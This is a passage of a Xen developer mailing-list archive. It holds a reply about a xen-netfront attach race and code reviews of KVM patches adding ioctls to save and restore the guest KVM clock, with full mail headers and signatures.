> /local/domain/59/backend/vif/61/0/multi-queue-max-queues =3D "2"   (n59,r=
61)
> /local/domain/59/backend/vif/61/0/feature-ctrl-ring =3D "1"   (n59,r61)
>=20
> So, from what I see, the attach happens quite early in practice -
> during, or even before loading xen-netfront module. But then, the device
> is misinterpreted as a stale one.
>=20
> This does not happen every time, only sometimes. I guess it's related to
> the timing of the network-attach call.
>=20
> I'll try to add some more logging (especially what state it got from
> xenstore vs what it expected), but maybe you have some ideas already?

It considers initial attach a reset because backend-id from xenstore
doesn't match dev->otherend_id (which is 0 at this point). My guess is
that another xenstore watch triggers xenbus_dev_changed() before
xenbus_read_otherend_details() gets called to fill dev->otherend_id.
Maybe the dev->otherend_id check should be conditional on
dev->otherend !=3D NULL?

--=20
Best Regards,
Marek Marczykowski-G=C3=B3recki
Invisible Things Lab

--hviPNOAOinnC5KVc
Content-Type: application/pgp-signature; name=signature.asc

-----BEGIN PGP SIGNATURE-----

iQEzBAEBCAAdFiEEhrpukzGPukRmQqkK24/THMrX1ywFAmptH58ACgkQ24/THMrX
1yxcPgf5ATn5k5v+EMYFOsnYS+5A8QqHwN5nDpR+sw/pISB9fJOb16ZcTeYSajc6
Ts9/YtzeLdGNNyeIlGfFZRXmQZBRNhSNH/Y2qOGymCUH69bY3MmOXn07SkvsmXSY
gB2H98PoMvKMKIX2KMRB4WE3aksyMPuIEnq+94mQZQjxKjc2kjWv3BjOgHNMGDnh
Glu9mBnhsgRcU0CCttWh6/iV61dYeUPYTqd89PhoDV63zfEy39tSndM60qZgwfbs
VLo+rrJIRmoCRvRtMRhqmRaiu+CLJzhFrFo/wIp5pFa5fBimT8uauRW556V5HQt2
l/pA7WxLoM9PIa8cIu7HIdUbpZBDVQ==
=xvAo
-----END PGP SIGNATURE-----

--hviPNOAOinnC5KVc--


From xen-devel-bounces@lists.xenproject.org Fri Jul 31 23:16:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 23:16:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1379669.1624083 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpwSf-0005ro-1M; Fri, 31 Jul 2026 23:16:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1379669.1624083; Fri, 31 Jul 2026 23:16:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpwSe-0005rh-Tp; Fri, 31 Jul 2026 23:16:16 +0000
Received: by outflank-mailman (input) for mailman id 1379669;
 Fri, 31 Jul 2026 23:16:16 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3vCxtagYKCSUTFBOKDHPPHMF.DPNYFO-EFWFMMJTUT.YFOQSPKFDU.PSH@flex--seanjc.bounces.google.com>)
 id 1wpwSe-0005rb-2D
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 23:16:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpwSc-00Ad6Z-Te
 for xen-devel@lists.xenproject.org; Sat, 01 Aug 2026 01:16:14 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3vCxtagYKCSUTFBOKDHPPHMF.DPNYFO-EFWFMMJTUT.YFOQSPKFDU.PSH@flex--seanjc.bounces.google.com>)
 id 6a6d2c4c-2eae-0a2a0a5409dd-0a2a450babde-46
 for <xen-devel@lists.xenproject.org>; Sat, 01 Aug 2026 01:16:14 +0200
Received: from [209.85.216.71] (helo=mail-pj1-f71.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3vCxtagYKCSUTFBOKDHPPHMF.DPNYFO-EFWFMMJTUT.YFOQSPKFDU.PSH@flex--seanjc.bounces.google.com>)
 id 6a6d2cbd-b7e8-0a2a450b0019-d155d847d825-3
 for <xen-devel@lists.xenproject.org>; Sat, 01 Aug 2026 01:16:14 +0200
Received: by mail-pj1-f71.google.com with SMTP id
 98e67ed59e1d1-38dd87656d3so2062307a91.2
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 16:16:14 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1785539773; x=1786144573; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:from:subject
         :message-id:references:mime-version:in-reply-to:date:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=A2ZszD5oB/5IQjIY93Gpv4YTCK5z3C0SzJKpHpheYqk=;
        b=Uzeee7Hhj1gRh01ldYRlLtmf1Xdl2UauycnDF/suYvNunEt0NcbS/lRxQAhb2i99ix
         Cjqe4Ko0/sqK1k1HcWKYvne8U7HJWSjx1yZCwTZVAoMlNXdx5xeQcjDndcyjht8tPWWQ
         87MWZ/3Tl3ZF4ZV+i8KNjYT/Rqnlia+FnYAgQFJI49bjn6PFcAPdzSdHzA4J4EbbvgkF
         XxX/YaiLiHImuC3CBlva+8iHeIKBlsFiGjvbw8XFbRoKuRAqX9fCrlH4TKCdwVmHtkur
         HEdfwBhV0XKM0un+QXvxNSVOpuYbnKm0Tn2VZubzEEJxtNxZRuAu+q7iThUCFlfRMLTB
         DoZQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785539773; x=1786144573;
        h=content-transfer-encoding:content-type:cc:to:from:subject
         :message-id:references:mime-version:in-reply-to:date
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=A2ZszD5oB/5IQjIY93Gpv4YTCK5z3C0SzJKpHpheYqk=;
        b=EeLL9FE/DIlm0HTcoGa9mNS6GvvOW1rYcbASv1KGgnxXmCdYO5BKo++aUXhNhgAmIK
         spq3IA/TaMxVyBDaGBXIXPZ7dNjbz3jTmfNlX6IEHqkcchV8wVMbxadf73GKZy686MoZ
         PffeGb4k/23X7AWCyRTn0onoSIumm7KwLQ6+sDkH2cxsY38Jr/lC1+iUhNRmmgKf+fmw
         DsRYJdmY+fbA3If6Zj8cuXM62pEL6ayXAWRLwcdd0OQSSYBWXXdDI8GAw/AfSnehV1/r
         sz1lHGb2t7HuuUPtmAyTLXAPHS+Ue4t8pDU0CTI5I6jTN2Jww5dXC67EXLOsPP3/MTgZ
         98KQ==
X-Forwarded-Encrypted: i=1; AHgh+RqoKeXzpYuUPYNCiNW+bJbOMTvflKv13wcFU2N1vHpFBLHcdO4jBNjgRi88+5RxKbp0TL2poO9/N/E=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yy/p7Hhkqu3Bnx6UudNhbZY6AHG0hnI1sQ+Y/m7mbqVBRBmQtwK
	bxkYl+fJxmDmSKlPQTXSBFjtkQvQ+ZRYb8iP1oAxvqCRW+ZAH3RxwXld2MT1UM1gZ8RP3w+Vg0l
	TYW5nAg==
X-Received: from pjbqx12.prod.google.com ([2002:a17:90b:3e4c:b0:38e:a577:5cbd])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:90b:584e:b0:38e:76f8:fcbe
 with SMTP id 98e67ed59e1d1-38fbc561b48mr1327142a91.29.1785539772383; Fri, 31
 Jul 2026 16:16:12 -0700 (PDT)
Date: Fri, 31 Jul 2026 16:16:11 -0700
In-Reply-To: <e8e7554debef481d13265f0870e847e2fa37f7c2.camel@infradead.org>
Mime-Version: 1.0
References: <20260703212145.343527-1-dwmw2@infradead.org> <20260703212145.343527-6-dwmw2@infradead.org>
 <amPWX8lKXw2KS_kZ@google.com> <e8e7554debef481d13265f0870e847e2fa37f7c2.camel@infradead.org>
Message-ID: <am0su482WLEa3ojQ@google.com>
Subject: Re: [PATCH v6 05/36] KVM: x86: Add KVM_[GS]ET_CLOCK_GUEST for
 accurate KVM clock migration
From: Sean Christopherson <seanjc@google.com>
To: David Woodhouse <dwmw2@infradead.org>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
	Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>, 
	Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	"H. Peter Anvin" <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross <jgross@suse.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul Durrant <paul@xen.org>, 
	Jonathan Cameron <jic23@kernel.org>, Sascha Bischoff <Sascha.Bischoff@arm.com>, 
	Marc Zyngier <maz@kernel.org>, Joey Gouly <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, 
	Dongli Zhang <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-42698a/1785539774-1A8D99EA-75508FE8/0/0
X-purgate-type: clean
X-purgate-size: 755

On Sat, Jul 25, 2026, David Woodhouse wrote:
> On Fri, 2026-07-24 at 14:17 -0700, Sean Christopherson wrote:
> > On Fri, Jul 03, 2026, David Woodhouse wrote:
> > > +4.145 KVM_GET_CLOCK_GUEST
> > > +----------------------------
> > > +
> > > +:Capability: none
> >=20
> > Why not add a CAP?=C2=A0 The check in the subsequent selftest is quite =
gross.
>=20
> Because nobody would ever use it in practice anyway.=20

Yes, the selftest will.

> Even if the ioctl is present, you *still* have to try it and fall back to=
 the
> old method because there are ways that a *guest* can force master clock m=
ode
> off.

That's totally fine, but userspace, especially for selftests, needs a way t=
o
know the ioctl exists and _should_ work.


From xen-devel-bounces@lists.xenproject.org Fri Jul 31 23:24:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 23:24:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1379676.1624092 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpwaX-0007ew-OR; Fri, 31 Jul 2026 23:24:25 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1379676.1624092; Fri, 31 Jul 2026 23:24:25 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpwaX-0007ep-Le; Fri, 31 Jul 2026 23:24:25 +0000
Received: by outflank-mailman (input) for mailman id 1379676;
 Fri, 31 Jul 2026 23:24:24 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3pS5tagYKCRIAws51uy66y3w.u64Fw5-vwDw330ABA.Fw57961wuB.69y@flex--seanjc.bounces.google.com>)
 id 1wpwaW-0007eg-E5
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 23:24:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpwaV-00Ae5K-J9
 for xen-devel@lists.xenproject.org; Sat, 01 Aug 2026 01:24:23 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3pS5tagYKCRIAws51uy66y3w.u64Fw5-vwDw330ABA.Fw57961wuB.69y@flex--seanjc.bounces.google.com>)
 id 6a6d2dad-5cb7-0a2a0a5109dd-0a2a4501a054-48
 for <xen-devel@lists.xenproject.org>; Sat, 01 Aug 2026 01:24:23 +0200
Received: from [209.85.216.71] (helo=mail-pj1-f71.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3pS5tagYKCRIAws51uy66y3w.u64Fw5-vwDw330ABA.Fw57961wuB.69y@flex--seanjc.bounces.google.com>)
 id 6a6d2ea6-5984-0a2a45010019-d155d847e42a-3
 for <xen-devel@lists.xenproject.org>; Sat, 01 Aug 2026 01:24:23 +0200
Received: by mail-pj1-f71.google.com with SMTP id
 98e67ed59e1d1-38e7b87ce77so3728412a91.0
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 16:24:23 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Content-Type:Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1785540261; x=1786145061; darn=lists.xenproject.org;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=fun1HisIe61fwc36HWwP0mEpqtzKSpu6BfRxhF/FWAM=;
        b=aeYgOs/Kpgt36kelxa4mOjHJNQQ6GuPxv8Oj36ZYN1d5/ESRRSPKGi1qY/bL3eAVhX
         XpKDhzHjcocxJ5uzOG8wD9w7Dco4ZpEP43LBXkkpgQBNL3wQ3ZyNdaVYVcti4XKIUJJN
         cI5AdymyUpgXf4zzztZKaKrr6vfVo4tRcGLYj8IYTtv52zuTAcxpm4M73aGDhMF2OqVn
         qCfPFnlwL8CckE98KVQUZUNlJfbMwBnHst/hqilyCfx5qPJkYZSD6zaK30cnEK4QMA9B
         QPfmhOe04AbYAY9ENLZU27GtVAlFf0ru8xKd8tsJQtHsk67c2rZD4lr0dQypbyDh8oMA
         tRwQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785540261; x=1786145061;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=fun1HisIe61fwc36HWwP0mEpqtzKSpu6BfRxhF/FWAM=;
        b=GP7esI5D8DfROgK0Nds6yUm86yfISL1pVmxEemckcs3uFLzu37WQDnYe9/MXm9yInv
         pU9bX9vR3+lcokw7mM14IlmcCHe3f/SajPK1Ba8njpr5qJbh8o9Zx6E2V9/W4RogqXmu
         F9X6OfOU2S931/e5mneYPSty/wxcki2PAKRC3HaTjkU9BuN/F82jiN06A94jbbpdJlBK
         Ky3KQIUHJ/errWqJOx3Qoc0gmdpdG/Ix6TgR8Kozz2R8U/nyzaagCl6qpsSJvCmoMd60
         BVNiHbXRtp3csZaV02jUs27NAvangrEUncKljHDuos64vSvvnBCYrbic2D2pwbP01wCY
         bsLQ==
X-Forwarded-Encrypted: i=1; AHgh+RqYws6QoHXO10kAjTQc8vu1UqqHqyriydZYUPyUeVKedCUIFpjfNgsTThUtUD2hFFjnw2WK/cddaF0=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yz8/dH3trh0sK7dmDtqqTlCMMVWArJSIdALeFh3QBqHKD2ov8WR
	EZaLaHmo/hrasYDltAHIRMnWx46o0iJogDMj53l+bxM8443Y+T9wtUBJi1BQfq/jRMY9+sqbS0h
	IKJzRZA==
X-Received: from pjbms10.prod.google.com ([2002:a17:90b:234a:b0:38e:b9dd:4f3f])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:90b:4b02:b0:38e:bbf1:de34
 with SMTP id 98e67ed59e1d1-38fbc3e7e39mr1464539a91.7.1785540261077; Fri, 31
 Jul 2026 16:24:21 -0700 (PDT)
Date: Fri, 31 Jul 2026 16:24:20 -0700
In-Reply-To: <20260728144954.355376-32-dwmw2@infradead.org>
Mime-Version: 1.0
References: <20260728144954.355376-1-dwmw2@infradead.org> <20260728144954.355376-32-dwmw2@infradead.org>
Message-ID: <am0upFND1r93HPxq@google.com>
Subject: Re: [PATCH v7 31/36] KVM: x86: Add KVM_[GS]ET_CLOCK_GUEST for
 accurate KVM clock migration
From: Sean Christopherson <seanjc@google.com>
To: David Woodhouse <dwmw2@infradead.org>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
	Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>, 
	Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	"H. Peter Anvin" <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross <jgross@suse.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul Durrant <paul@xen.org>, 
	Jonathan Cameron <jic23@kernel.org>, Sascha Bischoff <Sascha.Bischoff@arm.com>, 
	Marc Zyngier <maz@kernel.org>, Joey Gouly <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, 
	Dongli Zhang <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Content-Type: text/plain; charset="us-ascii"
X-purgate-ID: tlsNG-d62444/1785540263-C5146757-07AAE748/0/0
X-purgate-type: clean
X-purgate-size: 5279

On Tue, Jul 28, 2026, David Woodhouse wrote:
> diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
> index 5c78dd1e4c69..0680332d7d45 100644
> --- a/arch/x86/kvm/x86.c
> +++ b/arch/x86/kvm/x86.c
> @@ -3435,6 +3435,169 @@ static int kvm_vcpu_ioctl_enable_cap(struct kvm_vcpu *vcpu,
>  	}
>  }
>  
> +#ifdef CONFIG_X86_64
> +static int kvm_vcpu_ioctl_get_clock_guest(struct kvm_vcpu *v, void __user *argp)
> +{
> +	struct pvclock_vcpu_time_info hv_clock = {};
> +	struct kvm_vcpu_arch *vcpu = &v->arch;
> +	struct kvm_arch *ka = &v->kvm->arch;
> +	unsigned int seq;
> +
> +	/*
> +	 * If KVM_REQ_CLOCK_UPDATE is already pending, or if the pvclock
> +	 * has never been generated at all, call kvm_guest_time_update().
> +	 */
> +	if (kvm_check_request(KVM_REQ_CLOCK_UPDATE, v) || !vcpu->hw_tsc_hz) {
> +		int idx = srcu_read_lock(&v->kvm->srcu);
> +		int ret = kvm_guest_time_update(v);
> +
> +		srcu_read_unlock(&v->kvm->srcu, idx);

		guard(srcu)(&vcpu->kvm->srcu);

		if (kvm_guest_time_update(v))
			return -EBUSY;

> +		if (ret)
> +			return -EINVAL;

This should be -EBUSY, because KVM_REQ_CLOCK_UPDATE is a transient condition.
And that's why a capability is needed: if userspace goes with the "probe" method,
it could get a temporary failure, and then a naive userspace could stop using
the ioctl entirely.

> +	}
> +
> +	/*
> +	 * Reconstruct the pvclock from the master clock state, matching
> +	 * exactly what kvm_guest_time_update() writes to the guest.
> +	 */
> +	do {
> +		seq = read_seqcount_begin(&ka->pvclock_sc);
> +
> +		if (!ka->use_master_clock)
> +			return -EINVAL;

EINVAL also feels wrong, userspace hasn't done anything wrong.  Maybe -ENODATA?
Not sure what the right returnis.

> +
> +		hv_clock.tsc_timestamp = kvm_read_l1_tsc(v, ka->master_cycle_now);
> +		hv_clock.system_time = ka->master_kernel_ns + ka->kvmclock_offset;
> +	} while (read_seqcount_retry(&ka->pvclock_sc, seq));
> +
> +	hv_clock.tsc_shift = vcpu->pvclock_tsc_shift;
> +	hv_clock.tsc_to_system_mul = vcpu->pvclock_tsc_mul;
> +	hv_clock.flags = ka->all_vcpus_matched_tsc ? PVCLOCK_TSC_STABLE_BIT : 0;
> +
> +	if (copy_to_user(argp, &hv_clock, sizeof(hv_clock)))
> +		return -EFAULT;
> +
> +	return 0;
> +}
> +
> +/*
> + * Reverse the calculation in the hv_clock definition.
> + *
> + * time_ns = ( (cycles << shift) * mul ) >> 32;
> + * (although shift can be negative, so that's bad C)
> + *
> + * So for a single second,
> + * NSEC_PER_SEC = ( ( FREQ_HZ << shift) * mul ) >> 32
> + * NSEC_PER_SEC << 32 = ( FREQ_HZ << shift ) * mul
> + * ( NSEC_PER_SEC << 32 ) / mul = FREQ_HZ << shift
> + * ( NSEC_PER_SEC << 32 ) / mul ) >> shift = FREQ_HZ
> + */
> +static u64 hvclock_to_hz(u32 mul, s8 shift)
> +{
> +	u64 tm = NSEC_PER_SEC << 32;
> +
> +	/* Maximise precision. Shift right until the top bit is set */
> +	tm <<= 2;
> +	shift += 2;
> +
> +	/* While 'mul' is even, increase the shift *after* the division */
> +	while (!(mul & 1)) {
> +		shift++;
> +		mul >>= 1;
> +	}
> +
> +	tm /= mul;
> +
> +	if (shift >= 64)
> +		return 0;
> +	if (shift > 0)
> +		return tm >> shift;
> +	if (shift <= -64)
> +		return 0;
> +	return tm << -shift;
> +}
> +
> +static int kvm_vcpu_ioctl_set_clock_guest(struct kvm_vcpu *v, void __user *argp)
> +{
> +	struct pvclock_vcpu_time_info user_hv_clock;
> +	struct kvm *kvm = v->kvm;
> +	struct kvm_arch *ka = &kvm->arch;
> +	u64 curr_tsc_hz, user_tsc_hz;
> +	u64 user_clk_ns;
> +	u64 guest_tsc;
> +	int rc = 0;
> +
> +	if (copy_from_user(&user_hv_clock, argp, sizeof(user_hv_clock)))
> +		return -EFAULT;
> +
> +	if (user_hv_clock.pad0 || user_hv_clock.pad[0] || user_hv_clock.pad[1])
> +		return -EINVAL;
> +
> +	if (!user_hv_clock.tsc_to_system_mul)
> +		return -EINVAL;
> +
> +	if (user_hv_clock.tsc_shift < -31 || user_hv_clock.tsc_shift > 31)
> +		return -EINVAL;
> +
> +	user_tsc_hz = hvclock_to_hz(user_hv_clock.tsc_to_system_mul,
> +				    user_hv_clock.tsc_shift);
> +
> +	kvm_hv_request_tsc_page_update(kvm);
> +
> +	/*
> +	 * kvm_start_pvclock_update() takes tsc_write_lock and opens
> +	 * the pvclock seqcount; kvm_end_pvclock_update() closes both.
> +	 * All clock state modifications between them are atomic with
> +	 * respect to readers in kvm_guest_time_update().
> +	 */
> +	kvm_start_pvclock_update(kvm);
> +	pvclock_update_vm_gtod_copy(kvm);
> +
> +	if (!ka->use_master_clock) {
> +		rc = -EINVAL;
> +		goto out;
> +	}
> +
> +	curr_tsc_hz = (u64)get_cpu_tsc_khz() * HZ_PER_KHZ;
> +	if (unlikely(curr_tsc_hz == 0)) {
> +		rc = -EINVAL;

Same comments here regarding return codes.

> +		goto out;
> +	}
> +
> +	if (kvm_caps.has_tsc_control)
> +		curr_tsc_hz = kvm_scale_tsc(curr_tsc_hz,
> +					    v->arch.l1_tsc_scaling_ratio);
> +
> +	/*
> +	 * Allow for a discrepancy of 1 kHz either way between the TSC
> +	 * frequency used to generate the user's pvclock and the current
> +	 * host's measured frequency, since they may not precisely match.
> +	 */
> +	if (user_tsc_hz < curr_tsc_hz - 1000 ||
> +	    user_tsc_hz > curr_tsc_hz + 1000) {

I don't follow, why is KVM restricting what frequency userspace can set?

> +		rc = -ERANGE;
> +		goto out;
> +	}


From xen-devel-bounces@lists.xenproject.org Fri Jul 31 23:33:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 23:33:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1379685.1624103 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpwiz-00019n-Fh; Fri, 31 Jul 2026 23:33:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1379685.1624103; Fri, 31 Jul 2026 23:33:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpwiz-00019g-CF; Fri, 31 Jul 2026 23:33:09 +0000
Received: by outflank-mailman (input) for mailman id 1379685;
 Fri, 31 Jul 2026 23:33:07 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3qjBtagYKCRsJ51EA37FF7C5.3FDO5E-45M5CC9JKJ.O5EGIFA53K.FI7@flex--seanjc.bounces.google.com>)
 id 1wpwix-00019F-FL
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 23:33:07 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpwiw-007ubw-Od
 for xen-devel@lists.xenproject.org; Sat, 01 Aug 2026 01:33:06 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3qjBtagYKCRsJ51EA37FF7C5.3FDO5E-45M5CC9JKJ.O5EGIFA53K.FI7@flex--seanjc.bounces.google.com>)
 id 6a6d3058-2eae-0a2a0a5409dd-0a2a4506b3d6-42
 for <xen-devel@lists.xenproject.org>; Sat, 01 Aug 2026 01:33:01 +0200
Received: from [209.85.215.197] (helo=mail-pg1-f197.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3qjBtagYKCRsJ51EA37FF7C5.3FDO5E-45M5CC9JKJ.O5EGIFA53K.FI7@flex--seanjc.bounces.google.com>)
 id 6a6d30ab-195a-0a2a45060019-d155d7c5b954-3
 for <xen-devel@lists.xenproject.org>; Sat, 01 Aug 2026 01:33:01 +0200
Received: by mail-pg1-f197.google.com with SMTP id
 41be03b00d2f7-cb5cc1e13f8so1826377a12.3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 16:33:00 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1785540779; x=1786145579; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:from:subject
         :message-id:references:mime-version:in-reply-to:date:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=8/b1huLAEdiKYHbWYUwfN/XZnmcBk/ZLpbBd8pgF/SE=;
        b=a+lCbOj0uOr6R+1Ed2f6q2El1ZqJlli7MaIWnlun41g77jqcAzatvQtPAQ/WvpBlzl
         PHcHiqMrwNstBUQPxS+x9ycNDhumxb32XANm3K0VaAx0mVP2LwNivqObt5VGqMrMVC5u
         xij5u+9P+UDszI3AZkc+2hPgZ47tGNgY5rQ5yhk4TWnhVkqJZ9Od+1aYFr83DnsTiSNh
         cMUYsLMcN+wvFkkMXQ2o7yaNs2nqyYbjj5pO9ylc08xO9GV+rgU4wiTV7P06EhWlv7/8
         foi7+fehERPGY08Rithc5YpSp/keMoD9MSENTedoY5LKOh8y9uWyXBvgLJ+OZSqu3ZKZ
         mutw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785540779; x=1786145579;
        h=content-transfer-encoding:content-type:cc:to:from:subject
         :message-id:references:mime-version:in-reply-to:date
